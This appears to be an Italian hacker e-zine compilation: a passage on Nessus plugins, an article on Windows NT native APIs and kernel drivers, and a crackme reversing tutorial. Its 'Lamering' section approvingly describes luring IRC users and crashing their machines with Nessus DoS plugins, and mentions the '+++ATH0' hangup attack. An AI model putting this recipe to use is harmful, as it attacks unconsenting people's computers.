send(socket:soc, data:data);
buf = recv_line(socket:soc, length:1024);
if(!buf){
security_hole(port);
set_kb_item(name:"imap/overflow", value:TRUE);
}
close(soc);
}
}
-------------------
Vediamo un po' cosa fa: ricava la porta sulla quale operare (143),
instaura una connessione, verifica che non sia un falso, manda la stringa
incrimata ("data") che dovrebbe causare l'overflow, e se non riceve
risposta ( "if (!buf)" mi sa tanto di qualcosa tipo "if (buf==NULL)")
allora dice al progr principale che e' stata trovata tale insecurity hole
(anzi.. ole'! ok ok battuta pessima eheh!).
Insomma, nulla di particolarmente difficile da comprendere, anzi, queste
plugins possono rivelarsi anche un'ottima fonte di informazioni su come
funzionano certi exploit.
Ultimo esempio carino e' il file teardrop.nasl:
-------------------
[...]
#
# The script code starts here
#
[...] qui costriusce i pacchetti udp spoofati
# Send our UDP packets 500 times
start_denial();
send_packet(udp1,udp2, pcap_active:FALSE) x 500;
alive = end_denial();
if(!alive){
set_kb_item(name:"Host/dead", value:TRUE);
security_hole(0);
}
-------------------
Simpatico il fatto che alla fine per capire se l'host e' vulnerabile
controlla se e' vivo ( "if(!alive)" ), e in caso contrario allora riporta
il rischio di tale vulnerabilita' :)))
Una cosa che mi sembra di aver notato e' che appena trova una
vulnerabilita' nei DoS finisce lo scan, dato che, secondo la sua logica,
se un host si e' dimostrato debole e' perche' sembra morto, e quindi e'
inutile ad andare avanti con gli altri test, dato che riporterebbero tutti
risultati negativi (nel senso di nulla di trovato) poiche' tutte le
connessioni non risulterebbero possibili a causa del crash appena
provocato. Questo non mi e' risultato sempre vero, dato che ho trovato
semplici PC che sembravano vulnerabili al teardrop, ma NON sono caduti, e
ad ogni modo Nessus ha interrotto lo scan. In quel caso il test non ha
riportato risultati corretti, anche dopo mia verifica manuale, teardrop.c
e ip della vittima alla mano .
-------[ Lamering
Ultima considerazione che mi e' venuta in mente una sera quando su
irc.tin.it con nome fasullo adescavo marpioni di ogni generazione che
usavo come host su cui provare questa perla di programma (a
prop: paola78 saluta tutti i frequentatori di #milano eheheh): se metto
l'ip del casanova telematico, setto lo scan su una sola porta (magari
20034) e disabilito tutte le plugin tranne quelle relative alla famiglia
dei Denial Of Service, Nessus si trasforma in un potente nukker, che prova
ogni tipo di attacco fino a quando o rinuncia o sfonda :))
E le prove l'hanno confermato: il 50% delle vittime cadeva al volo, mentre
l'altro 50%, anche con altri metodi, rimaneva up, quindi o era patchato
alla morte o aveva un OS con le contropalle, ma cmq Nessus ha riportato
ugualmente la vulnerabilita' senza accorgersi che era falsa (vedi qualche
riga piu' in alto).
Tutto cio' grazie a tin che non maschera l'ip dei suoi chatters :)
NB: tra i vari DoS c'e' anche il mitico "+ + + ATH0 modem hangup" che
mette a tacere sempre qualcuno. Be', prima di mandarlo, assicuratevi di
patcharvi anche voi contro questo exploit, altrimenti mentre spedite
questo ping, cadete per primi :) Io me ne sono accorto a mie spese.
Per linux basta modificare il file /etc/ppp/pppscript mettendo come
stringa di inizializzazione ATS2=255. Nel mio caso, cambiandolo un po'
a "muzzo", il file e' diventato:
TIMEOUT 60
ABORT ERROR
ABORT BUSY
ABORT "NO CARRIER"
ABORT "NO DIALTONE"
"" "ATS2=255"
OK "atdtNUMERO_DI_TELEFONO_DEL_PROVIDER"
TIMEOUT 75
CONNECT
e cosi' funziona.
-------[ Conclusioni
E' un gioiellino, sise usato nel modo migliore, ovvero come analizzatore
della propria rete, ma anche come scanner verso terzi ignari...
Unica cosa da ricordare: non provate Nessus con tutti i server in tutta
tranquillita' senza il minimo timore: per verificare se e' presente una
vulnerabilita', la deve provare, e quindi risulta a tutti gli affetti che
VOI abbiate eseguito quel particolare exploit. Quindi un sysadmin anche
non troppo preparato potrebbe accorgersene del vostri vari tentativi,
menarsela e rendervi la vita un po' piu' difficile di prima.
that's all :)
--[ fritz ]--
Club SpiPPoLaTorI
www.spippolatori.com
==========================================================================================
Digging in the dirt
(Ovvero alla caccia delle api perdute)
By Devil (SPP Member)
Ebbene si , lo ammetto , Peter Gabriel e' una delle mie debolezze, una delle
tante in realta'. Ma il titolo per questo articolo mi sembrava quantomai
azzeccato perche'e'proprio nei profondi abissi di Windows NT che andremo a
scavare, alla ricerca delle "native api" del microkernel di questo sistema.
Innanzitutto cominciamo con un po' di storia. Windows NT nasce come sistema
di medio-alta fascia e con l'obiettivo ambizioso di supportare alcuni
sottosistemi. In parole povere microsoft aveva in mente di offrire un unico
ambiente dove poter far girare applicazioni Win32,MSDOS,OS/2 e Posix.
Il progetto e' riuscito in minima parte in quanto sia il supporto a Posix
che a OS/2 e' alquanto limitato, ma l'idea di base era carina e poggiava
su una strategia collaudata: sottosistemi separati che girano come
applicazioni utente (ring 3, poi vedremo che significa) e che traducono
le chiamate di sistema a un unico kernel ( a ring 0) che si occupa di
servirle. Il semplice ascii non si presta molto al disegno ma la figura
qui sotto dovrebbe chiarire le idee:
+-------+ +--------+ +---------+
| Posix | | Win32 | | OS/2 | Ring 3
+-------+ +--------+ +---------+
|---------------|---------------|
====|===============|===============|==============
| | |
-------- NTOSKERNEL ---------- Ring 0
In altre parole un programma che gira sotto Posix o MSDOS e che cerca di
aprire un file con open() invoca ,come una CreateFile() di Win32,
la stessa funzione del kernel di NT.
L'operazione di traduzione e di passaggio dei parametri viene
effettuata dal sottosistema per cui e' scritta l'applicazione e che esegue
fisicamente la chiamata.
Il disegno, ad onor del vero, e' valido per NT 3.51 in quanto a partire dalla
versione 4.0 (ed ora con Windows 2000) il sottosistema Win32 e' passato
a Ring 0 ,come estensione del kernel di NT, questo per ottenere migliori
performance da parte delle gdi (Il Codice si trova tutto in WIN32K.SYS).
Prima di illustrare dove e come si trovano le native api c'e' bisogno di un
minimo di background sulla modalita' protetta. Quelli che conoscono gia' bene
l'argomento possono saltare a pie' pari tutta la pallosa spiegazione.
Modalita' Protetta,selettori e call gates
-----------------------------------------
Ma cosa significa la notazione Ring 0 o Ring 3 ?
Per spiegare questo dobbiamo inevitabilmente accennare alle due modalita'
(sono tre in realta' ma per ora non ci interessa) in cui puo' funzionare un
processore della famiglia 80386 (e successivi): la modalita' reale e
la modalita' protetta. (per la modalita' v86, la terza, rimando ad un
successivo articolo :-)).
Quelli che ,come me, hanno smanettato con MS-DOS ricorderanno le innumerevoli
"scorribande" che un codice malizioso poteva effettuare all'interno del
sistema operativo. Cambio di tabelle,sostituzione di indirizzi,
sovrascrittura del vettore delle interruzioni... tutte cose possibili
essenzialmente per un motivo: il processore non riusciva a distinguere
quali segmenti di memoria fossero del sistema operativo e quali
dell'applicazione MS-DOS. A causa di questa limitazione era un gioco
da ragazzi far crashare il sistema, bastava ottenere il segmento
dove risiedeva l'MS-DOS e sovrascriverlo allegramente con una serie di
zeri. Nessun sistema operativo sarebbe sopravvissuto ad un trattamento
del genere ;-)
Con l'arrivo del 386 le cose cambiarono radicalmente (cominciarono gia'
col 286 ma pochi se ne accorsero). Questo processore era in grado di
funzionare in una modalita' in cui il codice dell'applicazione non poteva
in alcun modo sovrascrivere quello del SO : nasceva la modalita' protetta.
Ovviamente non si poteva perdere la compatibilita' verso MS-DOS e per questo
motivo il processore, all'atto dell reset, comincia a girare come un vecchio
8088 (modalita' che venne chiamata Reale) con buona pace di tutte le vecchie
applicazioni. Per farlo switchare in modalita' protetta occorrono dei passi
ben precisi,istruzioni apposite, ed un lavoro di preparazione dei segmenti
di memoria piuttosto complicato. Ma in soldoni la differenza sostanziale
tra la modalita' reale e protetta e' il modo in cui il processore forma
gli indirizzi. In modalita' reale la traslazione tra memoria logica e fisica
avviene attraverso il meccanismo segmento:offset. Ad esempio l'indirizzo
logico 0030:0129 (segmento=0030,offset=0129) si traduce nell'indirizzo fisico
00429 perche' per formare un indirizzo fisico in modalita' reale il processore
esegue i seguenti passi:
a) prendo il segmento lo trasformo in un numero a 20 bit e lo ruoto a
sinistra di 4 bit (0030->00030->00300)
b) prendo l'offset e lo sommo al segmento appena ruotato (00300+0129=00429)
In modalita' protetta esistono nuovi registri e una nuova modalita' di
indirizzamento detta selettore:offset.
Il selettore viene utilizzato come indice in una tabella di descrittori
che sono oggetti lunghi 8 bytes in cui ci sono informazioni riguardanti
l'inizio del segmento, la sua grandezza, il tipo (dati,codice,o altro)
e il livello di privilegio (DPL)che bisogna possedere per accedere
al segmento stesso. La regola dice che un livello di privilegio e' un numero
intero compreso tra 0 e 3 e che 0 indica livello di privilegio piu' alto
3 livello di privilegio piu' basso. (si lo so sono un po' strani alla Intel
ma tant'e'... bisogna ragionare al contrario)
Questa tabella di descrittori e' costruita dal sistema operativo
all'atto dell'inizializzazione e la sua posizione in memoria e' indicata
da un nuovo registro GDTR (Global Descriptor Table Register)
Vediamo praticamente come viene interpretato un indirizzo come questo
0030:80090000.
GDT 80090000 Limit=C0000000 +---------------+
+-------------+ | | |
0000 |Descrittore 0| | | |
+-------------+ | | |
0001 |Descrittore 1| +---------------------->| Segmento |
+-------------+ | Codice con |
... .......... | DPL=0 |
+-------------+ | |
|Base 00000000| ----------------------->Base=00000000+---------------+
0030 |Limit C000000|
| Tipo=Code |
|DPL=0 |
+-------------+
... ...............
Il numero 0030 viene usato come indice nella tabella dei descrittori globali
(GDT da ora in poi).Il descrittore contenuto viene memorizzato in una cache
interna del processore per i succesivi accessi senza dover riscorrere la GDT
e viene fatto un primo range check sull'offset rischiesto(80090000).
Ovviamente se ricade al difuori dei limiti imposti
dal descrittore abbiamo un General Protection Fault, trappolato dal
sistema operativo (attraverso un' eccezione 13 vedi dopo)e l'accesso
viene negato.
Se il check risulta positivo l'indirizzo fisico
e' generato sommando Base+Offset. In questo caso 00000000+80090000.
Tutto cio' se la paginazione non e' attivata altrimenti il discorso si
complica... ma non ne parlero' in quest'articolo,per ora non ci serve :-))
Come rientra in questo gioco il meccanismo di protezione ? E' molto semplice
supponiamo che l'indirizzo sopra indicato sia generato da una CALL,
diciamo CALL 0030:80090000 che si trova in una procedura.
La procedura, trovandosi all'interno di un segmento avra' un livello
di privilegio (chiamato Current Privilege Level o CPL), supponiamo
sia CPL=3. Se eseguissimo la precedente chiamata otterremmo un bel General
Protection Fault (si esatto del tipo finestrella di windows con crocetta
bianca su pallino rosso) questo perche' il livello di privilegio corrente e'
piu' basso (numero piu' alto) del DPL del segmento in cui vogliamo saltare
e il processore 80386 non permette a codice meno privilegiato di eseguire
codice piu' privilegiato. Come , ovviamente , non permette che codice meno
privilegiato vada a scrivere (volontariamente o no) su un segmento dati
piu' privilegiato (attraverso ,che so, una mov 0030:[80090000],0).
La schematizzazione che si fa in questo frangente e'
immaginare la memoria divisa ad anelli (o Rings) il cui anello piu'
interno e' occupato dal codice del kernel (Ring 0) e il codice piu' esterno
dalle applicazioni utente (Ring 3) con i due anelli intermedi 1 e 2
inutilizzati (almeno da NT, sono usati infatti solo i due livelli
0=kernel 3 =applicazioni utente).
A questo punto pero' dovrebbe sorgere una domanda spontanea:"ma se
un'applicazione utente non puo' mai chiamare codice piu' privilegiato
(leggi kernel) come si fa a chiamare i servizi del sistema operativo ?"
Esistono due meccanismi possibili: call gates e Interrupt gates.
Il primo si realizza attraverso un descrittore speciale che si puo'
inserire nella GDT e che ha il seguente formato (sono sempre
8 bytes ovviamente !!!)
31 16 15 14 13 12 8 7 6 5 4 0
+----------------------------+---+-----+------+------+----------+
| Offset 31:16 | P | DPL | Tipo |0 0 0 | Parametri|
+----------------------------+---+-----+------+------+----------+
| Selettore | Offset 15:0 |
+---------------------------------------------------------------+
Come potete vedere all'interno e' un po' diverso da un descrittore
normale, le cose interessanti sono il campo selettore e DPL.
(Tipo e' un numero che indica al processore che e' un Gate Descriptor
e Parametri e' il numero di parametri opzionali che vanno copiati nello
stack all'atto della chiamata, oltre al segmento e offset di ritorno)
Torniamo all'esempio di prima e supponiamo che al selettore 0030
non corrisponda un descrittore normale ma un call gate con il suo DPL=3.
La prima cosa che il processore fa e' controllare se il DPL >=CPL in questo
caso il controllo e' positivo perche CPL= DPL =3.Ora il processore
deve ricavare il punto di ingresso della chiamata e lo fa utilizzando il
selettore all'interno della call gate, con quello va nella GDT e prende
il descrittore corrispondente e a questo punto controlla il DPL di quel
descrittore con il DPL della call gate se risulta minore o uguale
(qundi codice piu' privilegiato o uguale) tutto ok altrimenti genera
un General Protection Fault.
A questo punto l'offset all'interno della call gate rappresenta il punto
di ingresso della soubroutine che verra' eseguita al DPL dell'ultimo
descrittore esaminato che sara' sicuramente con codice di uguale o
maggior privilegio.
Come potete notare l'offset 80090000 viene completamente ignorato.
Uno schemino forse aiuta:
CALL 0030:80090000--> Ignorato
| +--------------+
| GDT | |
| +-------+------------------------>Offset | Punto di |
+--> | CallG |---+ | ingresso |
+-------+ | | |
.... | | |
| | |
+------+<----+ | |
| Base | | |
|Limit | | |
| DPL=0| | |
+------+-------------------------------> +--------------+
Il secondo meccanismo e' pressoche' identico solo che viene generato da
un interrupt e non da una call
Gli interrupt in modalita' protetta vengono gestiti in maniera simile
alla modalita' reale, solo che invece di avere una tabella di
256 puntatori locata all'indirizzo 0000 (come era per il DOS) abbiamo una
tabella speciale di descrittori (Interrupt Descriptor Table o IDT) che
si trova all'indirizzo puntato da un registro ,IDTR, presente
negli 80386 e successivi.
I livelli di interrupt sono 256 , come per la modalita' reale, ma i primi 16
sono riservati come "uso interno del sistema" e vengono chiamati eccezioni.
Ad esempio l'interrupt 6 e' un eccezione di Opcode non valido,l'interrupt 0
e' Division by zero, l'eccezione 13 e' un general protection fault.
Queste eccezioni puntano a codice interno del kernel che si occupa di
gestirle adeguatamente, tentando di non far incartare la macchina :-)
Gli altri sono a disposizione dei dispositivi hardware e dei programmatori
che possono chiamarle con una INT nn.
nn viene utilizzato come indice nella IDT per selezionare il descrittore
associato all'interruzione. Il descrittore dell'interrupt e' identico alla
call gate e il meccanismo di assegnazione e check dei privilegi e' uguale.
Il vantaggio di usare una int nn al posto di una call e' il risparmio
di 5 bytes ad ogni chiamata (call 0030:80090000 occupa 7 bytes int 23 solo 2)
Native Api
----------
Dopo questa chiacchierata rapidissima sui livelli di privilegio siamo pronti
a parlare del meccanismo delle chiamate alle api del kernel di NT.
Come primo esperimento apriamo gestione risorse, cerchiamo kernel32.dll,
tasto destro (caazzo e'partita la shelldoor.. vabbe'.-)) quick view
(oppure usate un dumpbin..insomma fate voi) questo con lo scopo di
vedere le funzioni importate da altri moduli .
C'e' una DLL importata interessante, NTDLL.DLL, che fara' mai ? Boh , ma una
cosa e' certa tutti i programmi che usano kernel32.dll indirettamente la
importeranno (ovvero la quasi totalita' delle applicazioni che girano
su windows.)
A questo punto, distrutti dalla curiosita' lanciamo il nostro fedele IDA pro
e diamogli in pasto NTDLL.DLL (ed eventualmente i simboli di debug che sono
sul CD rom di windows NT solo per rendere il codice piu' leggibile)
Questo e' un estratto di due funzioni esportate da NTDLL e disassemblate
con IDA
77F67B5C arg_0 = byte ptr 4
77F67B5C
77F67B5C mov eax, 4Ch ; NtOpenDirectoryObject
77F67B61 lea edx, [esp+arg_0]
77F67B65 int 2Eh
77F67B65
77F67B67 retn 0Ch
77F67B67 _NtOpenDirectoryObject@12 endp
77F67B6C _NtOpenEvent@12 proc near
77F67B6C
77F67B6C arg_0 = byte ptr 4
77F67B6C
77F67B6C mov eax, 4Dh ; NtOpenEvent
77F67B71 lea edx, [esp+arg_0]
77F67B75 int 2Eh
77F67B75
77F67B77 retn 0Ch
77F67B77 _NtOpenEvent@12 endp
Praticamente l'intera DLL non e' altro che una sequenza di int 2Eh con EDX
e EAX caricati con valori diversi.
Mmm la cosa ci suona familiare, sembrerebbe che NT utilizzi il sistema delle
interrupt gates che abbiamo visto prima.
Per averne conferma entriamo nel SoftIce e facciamoci stampare la tabella
delle interruzioni con il comando IDT.
Questo e' un estratto:
002A IntG32 0008:8013E756 DPL=3 P _KiGetTickCount
002B IntG32 0008:8013E840 DPL=3 P _KiCallbackReturn
002C IntG32 0008:8013E950 DPL=3 P _KiSetLowWaitHighThread
002D IntG32 0008:8013F50C DPL=3 P _KiDebugService
002E IntG32 0008:8013E2D0 DPL=3 P _KiSystemService
002F IntG32 0008:801416F8 DPL=0 P _KiTrap0F
Concentriamo la nostra attenzione sull'interrupt 2E.
Notiamo subito una cosa: il DPL del descrittore dell'interrupt gate e' 3
come dovrebbe essere un gate che permetta l'accesso, da parte di codice
meno privilegiato, alle routines di sistema che girano a Ring 0.
Il selettore contenuto nel descrittore e' 0008. Facendo una lista della
GDT (con il comando GDT di SoftIce) vediamo che il selettore 0008
punta ad un descrittore con DPL=0 (come e' richiesto dal controllo
di privilegio delle call/interrupt gates).
Quindi all'atto del salto la routine verra' eseguita al massimo livello
di privilegio, con punto di ingresso 8013e2d0
Abbiamo anche il nome interno che il kernel usa per indicare la
routine chiamata dall' int 2E :_KiSystemService.
Quindi come nel dos l'istruzione int 21h chiamava le api interne del
sistema qui a farlo e' l'istruzione int 2E... l'unica differenza e' che
le native api sono ben lontane da essere documentate da microsoft
( chissa' poi perche'... bah)
Abbiamo quindi un quadro piu' chiaro di come un processo chiami le funzioni
del kernel, eccovi uno schemino
+-----------+ <-------------+
| Programma | |
| Win 32 | |
+-----------+ |
| |
| |
+------------+ | Processo
|Kernel32.DLL| |
+------------+ |
| |
+------------+ |
| NTDLL.DLL | |
+------------+<-------------+
| RING 3
======+INT 2E========================================
| RING 0
|
+-------------------+
| NTOSKRNL.EXE |
+-------------------+
Il doppio passaggio Kernel32.dll --> NTDLL.DLL e' necessario per garantire
la compatibilita' tra applicazioni win9x e winnt senza dover ricompilare
l'eseguibile. Tutte le applicazioni windows infatti importano almeno
Kernel32.DLL (che indirettamente importa NTDLL che chiama ntoskrnl
che al mercato mio padre compro' :-)).
Praticamente sotto NT la DLL kernel32 e' poco piu' che un
convertitore di parametri (una stub DLL)
Un utile ,e lungo, esercizio a questo punto e' disassemblarsi la funzione
_KiSystemService per capire cosa fa.
La funzione si aspetta il numero della api nel registro EAX che usera' come
indice per chiamare la api stessa.
NT internamente usa due tabelle per gestire le chiamate:
una e' un array di puntatori agli indirizzi dove effettivamente
risiede il codice delle api e l'altra e' un array che contiene il numero di
bytes che ogni funzione accetta come parametri nello stack.
In disegni le tabelle sono fatte cosi'(ogni entry della tavola indirizzi e'
4 bytes mentre ogni entry della tavola parametri e' 1 byte):
EAX Tavola Indirizzi Tavola parametri
+------------------+ +-----------------------+
0 | Indirizzo Funz.0 | | Num. Bytes Funzione 0 |
+------------------+ +-----------------------+
1 | Indirizzo Funz.1 | | Num. Bytes Funzione 1 |
+------------------+ +-----------------------+
2 | ........... | | ........... |
Domanda: come faccio a sapere dove sono queste tabelle ?
Risposta: ce lo dice una struttura esportata da NTOSKRNL.EXE chiamata
KeServiceDescriptorTable. (Potete verificare l'effettiva esportazione
con dumpbin del file NTOSKERNEL.EXE)
La struttura ha il seguente formato (lo scrivo come struct del C)
struct KeServiceDescriptorTable
{
void * PuntaTavolaServizi;
void * ContatoreSerivizi;
unsigned int NumeroServizi;
void * PuntaTavolaParametri;
}
con:
PuntaTavolaServizi : Puntatore alla tabella dei servizi che sappiamo
essere un array di indirizzi.
ContatoreServizi : Questa variabile e' usata solo nella versione checked
build di NT. Conta quante volte viene chiamato l'int 2e
NumeroServizi : E' il numero di native api contenute nella tabella
PuntaTavolaParametri: Puntatore alla tabella che contiene,per ogni
servizio, il numero di bytes da passare al servizio
stesso
Con SoftIce e con i simboli di debug di ntoskrnl.exe caricati possiamo
vedere questa struttura con il comando d KeServiceDescriptorTable.
Questo e' quello che capita sul mio NT.
:d keservicedescriptortable
0023:8014F690 40 AC 14 80 00 00 00 00-D3 00 00 00 90 AF 14 80 @...............
0023:8014F6A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
In questo caso abbiamo che PuntaTavolaServizi=8014Ac40,ContatoreServizi=0
(beh non e' una checked build) NumeroServizi=D3 (211 decimale) e
PuntaTavolaParametri=8014AF90.
Grazie a questa struttura quindi possiamo rintracciare non solo le due tabelle
rispettivamente dei puntatori e del numero di parametri ma anche
di quante native api il kernel e' dotato ( per la cronaca NT 3.51 ne aveva
196, NT 4.0 211, Windows2000 244 di cui solo un 20% documentate nel DDK)
In pratica questa operazione e' tutto cio' che fa SoftIce quando digitiamo
il comando NTCALL per la lista delle native api... ma volete mettere
la differenza tra digitare e capire che cosa accade ? ;-))
Un'altra domanda che potrebbe venire spontanea e': ma perche' esportare
la struttura in modo da rendere accessibili tabelle che ,in fondo, sono
oggetti interni al sistema operativo e abbastanza delicati ?
Beh all'inizio non capivo bene francamente. Poi una piccola illuminazione:
l'estensibilita'. Permettere ad altro codice privilegiato di accedere
alla tabella dei servizi consentirebbe innesti di altri pezzi di microkernel
originariamente non pensati.
(L'estensione delle api potrebbe essere un argomento futuro... ci pensero')
Il programma di esempio
-----------------------
Scriveremo un programma che fa la stessa funzione della chiamata a NTCALL di
SoftIce. Per fare questo un processo a livello utente non basta perche'
le tabelle si trovano in una zona di memoria non accessibile a programmi
a Ring 3.L'hacker malizioso potrebbe pensare di accedere alla struttura usando
un descrittore di ring 3 che mappi tutta la memoria disponibile del computer
(ed effettivamente questo descrittore esiste) ma non avrebbe fatto i conti
con l'ulteriore livello di protezione che la paginazione permette (e di cui
noi non abbiamo parlato). Quello che si leggerebbe usando questo descrittore
non corrisponderebbe ai valori reali presenti in memoria ma all'immagine che
il sistema operativo ci darebbe delle proprie aree riservate
(ovvero tutti zeri qundo siamo fortunati altrimenti il nulla :)).
Se siete come S.Tommaso l'esperimento e' facile, basta andare con un
debugger tipo quello del visual C++ a disassemblare le locazioni da 80000000
in su. Risultato... beh non certo i veri valori contenuti nelle locazioni
(confrontateli con i valori ritornati da SoftIce per le stesse
locazioni) SoftIce ci riesce perche' e' un kernel driver ovvero gira a
Ring 0 e quindi ha accesso a tutti i segmenti del SO.
Per leggere la tabella dobbiamo scrivere quindi un Kernel driver che
poi comunichi con un programmello Win32 attraverso delle chiamate
DeviceIoControl.
L'argomento KD e' molto lungo e complesso e non riesco nemmeno ad accennarlo
in questo articolo. Prendete il programma cosi' com'e' ed
eventualmente usatelo come punto di partenza per lo studio di questo
affascinante ramo della programmazione di sistema.
Il programma e' composto da due pezzi native.exe e TabApi.sys.
Native.exe e' l'applicazione win32 che carica dinamicamente il driver in memoria
(quindi occhio, bisogna essere amministratori di sistema) e chiama la sua
unica funzione interna ,quella che legge effettivamente la tabella, attraverso
una DeviceIOControl con codice IOCTL_TABAPI_READBUFFER da me definito
nell'header tabapi.h.
Driver e applicazione usano una struttura per comunicare, l'ho chiamata
InfoTabella (si beh , i nomi non sono il mio forte)
Per avere i dati relativi ad una api basta chiamarla con il campo
InfoTabella.Servizio settato al numero che ci interessa.
Il programma riporta tutte le api del kernel esattamente come la chiamata a
NTCALL di SoftIce. L'unica differenza e' che non stampa il nome esportato
dal kernel per le varie funzioni, come invece fa SoftIce ... ma questo
viene lasciato come esercizio ;-)
Un 'ultima cosa. La lunghezza dei parametri viene data in byte laddove
Softice la da in "parametri"... basta dividere la lunghezza per 4 ed
abbiamo gli stessi valori.
Un'ultima raccomandazione di carattere "tecnico". Il programma di
esempio e' un software che gira al massimo livello di privilegio
permesso ad un'applicazione. A causa di questo un eventuale errore
o interazione strana con un altro driver porta inevitabilmente
al crash. La cosa non e' grave, basta disattivare il driver, ma
ovviamente non vi consiglio di provarlo su macchine "critiche"
(tipo lan servers ) perche' gli utenti della rete potrebbero
"alterarsi leggermente" ;-))
Ok mi pare di aver detto tutto... ci si sente alla prossima
Devil (dsdevil@tiscalinet.it)
==========================================================================================
UN POKO POKO DI REVERSING
Il programma che prenderò in considerazione in questo articolo è il crackme#1 di Ritz.
I tools da me usati sono il mitico IDA pro (the best of the best of the best disassmebler e
il mitico oltre ogni limite SoftICE)
Cominciamo disasmando il prog:
start proc near
arg_4 = dword ptr 8
arg_8 = word ptr 0Ch
arg_C = dword ptr 10h
push 0
call j_GetModuleHandleA
mov ds:hwnd_app, eax
xor eax, eax
mov ax, 67h
push 0 ; Val di inizializzazione
push offset proc_gest_event ; Ptr alla proc di gest event della dialog box
push 0 ; Handle to owner win
push eax ; Dialogbox template
push ds:hwnd_app ; Handle dell'app
call j_DialogBoxParamA
call j_ExitProcess
Bene a questo punto abbiamo già abbstanza chiara la struttura del programma:
esso crea una dialogbox e poi si limita a gestire gli eventi che interessano la sua dialogbox,
si tratta della classica struttura event oriented, quella che contraddistingue linguaggi come
VB, Delphi,... (attenzione: questo non significa che questo crackme sia stato scritto con
quei linguaggi).
Chiunque di voi abbia un API Reference o ancora meglio le MSDN conoscerà già l'api
DialogBoxParam ma x chi non ha ancora reperito nessuno di questi strumenti (fatelo al +
presto xkè sono indispensabili :) ) ecco qui:
int DialogBoxParam (
HINSTANCE hInstance, // handle to application instance
LPCTSTR lpTemplateName, // identifies dialog box template
HWND hWndParent, // handle to owner window
DLGPROC lpDialogFunc, // pointer to dialog box procedure
LPARAM dwInitParam // initialization value );
Bene ora tenendo bene a mente che x passare dei paramentri ad un API dichiarata non Pascal
bisogna pusharli nello stack in ordine inverso
(lo sapevate già vero :))) ) analizziamo i vari push partendo dall'ultimo fino al primo:
- l'ultimo push si occupa di inserire nello stack il valore dell'handle dell'istanza corrente
dell'applicazione: questo valore è stato ottenuto da
una precedente chiamata all'API GetModuleHandle() (vedi inizio del prog).
- il penultimo push immette nello stack il valore del template (modello) di dialogbox che si
vuole visualizzare: se provate ad aprire questo pe (pe = portable executable è il nome degli
exe sotto win) con un qualsiasi resource analyzer vedrete che nella sezione .rsrc si trovano
2 risorse: l'icona del programma e la dialogbox in questione, ogni risorsa è identificata
da un ID number e il val di questo ID x il template della dialog è appunto 103d = 67h
- il terzultimo push dovrebbe pushare il val dell'handle della finestra madre della dialog ma
dato che questa win non c'è viene pushato NULL (dovrebbe essere hwnd del desktop ma non ne sono
sicuro :))) )
- il secondo push è la chiave dell'analisi del prog: esso si occupa di pushare l'indirizzo della
routine di gestione degli eventi riguardanti quella dialogbox, ciò significa che al verificarsi
di qualisiasi evento che interessi la dialog il controllo verrà passato a quell'indirizzo ed è
li che andremo a continuare la nostra analisi
- il primo push dovrebbe essere il val da passare alla dialog insieme al messaggio WM_INITDIALOG
ma ciò non ci interessa.
proc_gest_event: ; DATA XREF: start+14o
enter 0, 0 ; Prepara lo stack, si ha che i primi 8 byte
; a partire da ebp sono riservati, dopo di essi
; si trovano i param ke win passa a questa proc di
; gest degli eventi della dialog
push ebx
push edi
push esi
xor eax, eax
mov ax, [ebp+arg_8] ; Mette in ax il msg
cmp ax, 2 ; Messaggio WM_DESTROY
jnz short loc_0_401043 ; Messaggio WM_CLOSE
jmp short proc_esci
La prima istruzione eseguita nella routine di gestione eventi è enter: è un opcode che è stato
introdotto x facilitare la programmazione procedurizzata (ovvero che fa molto uso di procedure
e funzioni), il suo compito è quello di riservare uno stack frame x la procedura in questione:
in pratica (potete controllare anche voi von SoftICE) una nuova zona di memoria viene adibita
a stack frame x questa funzione ed i primi 8 byte di quest'area sono riservati x gli indirizzi
di ritorno (quando si incontrerà l'istruzione LEAVE).
Nel nuovo stack frame utilizzato dopo i primi 8 byte (che abbiamo già detto sono riservati) si
trovano i parametri passati alla funzione callback da windows, si tratta di 4 doubleword che
sono:
- l'handle della dialogbox stessa
- il messaggio che le è stato inviato
- il wparam
- il lparam
gli ultimi 2 dati sono parametri aggiuntivi che variano il loro significato a seconda del messag
gio che viene passato.
Nel pezzo di codice visto sopra notiamo che viene gestito il caso del messaggio WM_DESTROY che
viene generato appena prima che una finestra venga distrutta (ma dopo che essa è scomparsa
dallo schermo): naturalmente in questo caso il programma jumpa al seguente codice:
proc_esci: ; CODE XREF: start+3Fj start+49j
push 0
push [ebp+8]
call j_EndDialog
call j_ExitProcess
mov ds:dword_0_4020FE, 1
pop esi
pop edi
pop ebx
leave
retn 10h
il cui compito è appunto chiudere la dialogbox con l'api EndDialog la quale richiede l'handle
della dialogbox da chiudere (l'ultimo push, ricordate quello che vi ho detto in merito a questo
stack frame vero? bene così potrete spiegarvi il xkè dell' ebp+8) e il val da ritornare che in
questo caso è 0 :)
Dopodiche viene chiamata ExitProcess() ed il proc viene chiuso :)
Nel caso in cui il messaggio ricevuto non fosse WM_DESTROY il prog jumpa a questo codice:
loc_0_401043: ; CODE XREF: start+3Dj
cmp ax, 10h ; Messaggio WM_CLOSE
jnz short loc_0_40104D ; Messaggio WM_COMMAND
jmp short proc_esci
Qui ci si occupa del messaggio WM_CLOSE (generato quando viene chiusa una finestra correttamente
x es clickando sulla x in alto a destra) ed il comportamento è quello tenuto nel caso del
messaggioWM_DESTROY ovviamente :)
Nel caso non si tratti neanche di questo messaggio si salta a questo codice:
loc_0_40104D: ; CODE XREF: start+47j
cmp ax, 111h ; Messaggio WM_COMMAND
jnz short loc_0_401057 ; Messaggio WM_INITDIALOG
jmp short command_c_param ; Gestione del mex WM_COMMAND
Qui viene il bello :)
Se il messaggio inviato è un messaggio WM_COMMAND (messaggio generato quando si clicka su un bottone)
il programma controlla da quale bottone proviene e jumpa qui:
command_c_param: ; CODE XREF: start+53j
cmp [ebp+10], 1 ; LOWORD WPARAM == 1 ovvero se il
; messaggio WM_COMMAND proviene dal bottone
; con ID = 1 ovvero il bottone INFO
jnz short loc_0_4010A3 ; gestione del bottone registra
push 0
push offset aCrackmeRulez
push offset aThisProgramMus
push 0
call j_MessageBoxA
jmp short loc_0_4010AF
L'area di mem puntata da ebp+10 contiene la word bassa di wparam il cui significato riferito al
messaggio wm_command è quello di identificare il bottone che ha inviato il messaggio (i bottoni
sono stati creati dal prog quando viene gestito il messaggio WM_INITDIALOG che ho volutamente
tralasciato altrimenti veniva un tema :)))
vi basti sapere che:
ID == 1 => Bottone info
ID == 2 => Bottone registra
x stavolta fidatevi di me :))) )
